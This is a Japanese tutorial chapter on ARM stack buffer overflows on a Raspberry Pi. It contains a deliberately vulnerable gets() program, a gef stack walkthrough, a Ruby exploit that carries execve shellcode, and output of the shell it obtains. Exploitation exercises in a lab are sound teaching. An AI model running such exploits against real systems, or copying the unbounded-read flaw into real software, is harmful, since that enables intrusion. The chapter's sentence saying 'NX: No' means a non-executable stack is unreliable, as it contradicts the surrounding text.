2. Buffer Overflow

本章では、古典的なスタックベースのバッファオーバーフローについて見ていきます。Exploit 経験者であれば、本章の内容はx86 アーキテクチャなどと差異はほとんどないと思うでしょう。簡単にバッファオーバーフローの原理について紹介した後に、前章で作成したシェルコードを使ってシェルを奪う演習問題を解いていきます。バッファオーバーフローには、スタックバッファオーバーフローとヒープバッファオーバーフローの2つあります。本章では、前者について触れていきます。

2.1 バッファオーバーフローの原理

バッファオーバーフローは、予め設計されたバッファのサイズを超える読み込みを許容してしまう脆弱性のことです。Linux においてあるプロセスが実行されると、スタック領域が確保されローカル変数の領域として利用します。ここでは、このスタック領域でのバッファオーバーフローが起こる際の挙動について記載します。まずは以下のプログラムを見てみましょう(bof.c)。

#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
    char buf[0x100];
    setbuf(stdout, NULL);
    printf("stack: %p\n", buf);
    gets(buf);
    return 0;
}

本プログラムでは、入力長さの長さを指定できないgets 関数を使用しています。意図されたバッファのサイズは0x100なので、これ以上の入力をすることでスタックの後続の領域を上書きすることが可能となります。スタックには、return 0 で元の関数に戻るためのリターンアドレスが格納や関数内部のスタックのベースを示すフレームポインタが格納されています。本プログラムのスタックの使われ方を図示すると以下のようになります。図示されているアドレスはあくまで例です。

アドレス
0x1000 bufの値
0x1100 フレームポインタ
0x1104 リターンアドレス

上記の図より、0x100を超える入力を行うことで、関数の戻り先であるリターンアドレスを上書きして制御を奪うことが可能となります。gefでgets関数の実行手前で止めて引数を確認してみましょう。gets関数の第1引数は、入力を保存するアドレスなので、r0レジスタの値を確認すると0xbefff420 であることがわかります。(上の図でいうところの0x1000)

gets関数の実行直前

次に、最後関数から戻る際の周辺の図が以下です。spの値が、0xbefff520 であることがわかります。ここから、pop {r11, pc} が実行されるため、0xbefff524に格納されている値がr11に、0xbefff528に格納されている値がpcに格納されることになります。つまり0x100 より大きい値を入力することで、フレームポインタやリターンアドレスを上書きすることができることわかります。

popの手前

この時、戻り先をどこに書き換えれば良いでしょうか。今回のプログラムでは、スタックのアドレスであるbuf 変数のアドレスをリークしてくれているため、このアドレスにジャンプすることで、入力したシェルコードを実行することが可能となります。ただし、最近のgccのセキュリティ機構では、スタック領域など読み書きすることのみを想定された領域には実行権限が付与されていないため通常では入力したシェルコードを実行することができません。今回は、gccのセキュリティ機構を無効にした状態でコンパイルしているため実行権限が付与されています。gefでは、checksec コマンドを使うことでセキュリティ機構を確認できます。

$ gdb -q bof
gef➤  checksec
[+] checksec for '/home/pi/ARM_Exploit/docs/chapter02/bof'
Canary                        : No
NX                            : No
PIE                           : No
Fortify                       : No
RelRO                         : Partial

ここで、NXがNoになっている場合、スタックなどの実行権限は付与されていません。これはNo Executable bitを意味しています。またCanaryは、スタックベースのバッファオーバーフローを防ぐgccのSSP(Stack Smashing Protection)と呼ばれるセキュリティ機構が有効であるかを示しています。先程の図を使うと以下のようフレームポインタの手前にCanary と呼ばれる値を格納しており、これが書き換わると強制終了する関数を呼ぶ処理が実行されるようになります。

アドレス
0x1000 bufの値
0x1100 Canary
0x1104 フレームポインタ
0x1108 リターンアドレス

Canary については、後の章で詳しく扱っていきます。

2.2 バッファオーバーフローを用いたシェル奪取

では、ここまでの説明を踏まえてバッファオーバーフローを用いてシェルコードを実行させることで、シェルを奪取します。前章と同じようにsocat を用いてバイナリを8888/tcp で待ち受けてください。

$ socat tcp-l:8888,reuseaddr,fork exec:./bof

次に、前述したとおり0x100 バイトより大きい値を入力することで、リターンアドレスを書き換えることができます。具体的には、フレームポインタの次にリターンアドレスが格納されているため、0x100+4の0x104バイトのパディングの後に、リターンアドレスに到達にします。リターンアドレスは、予めリークされているスタックのアドレスに書き換えることで、入力した値の先頭から実行してくれます。

ここまでの情報を踏まえて作成したExploit コードを以下に示します。

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwn'

host = 'localhost'
port = 8888
z = Sock.new host, port
tmp = z.recvline
stack_address = tmp.match(/: (.+)\n/)[1].to_i(16)
payload = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68".ljust(0x104, "A")
payload << p32(stack_address)
z.sendline payload
z.interact

上記コードを実行した結果が以下です。

$ ./solve.rb
[INFO] Switching to interactive mode
uname -a
Linux raspberrypi 4.19.50+ #1 Sat Jul 6 20:44:28 CEST 2019 armv6l GNU/Linux
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),105(input),109(netdev),997(gpio),998(i2c),999(spi)

Raspbian のシェルが操作できていることが確認できました。

2.3 まとめ

本章では、スタックのバッファオーバーフローについて見てきました。実際にリターンアドレスをどのように書き換えて、シェルコードを実行するのかについて見てきました。この形のExploit は最も古典的な手法なため理解しておくことは重要です。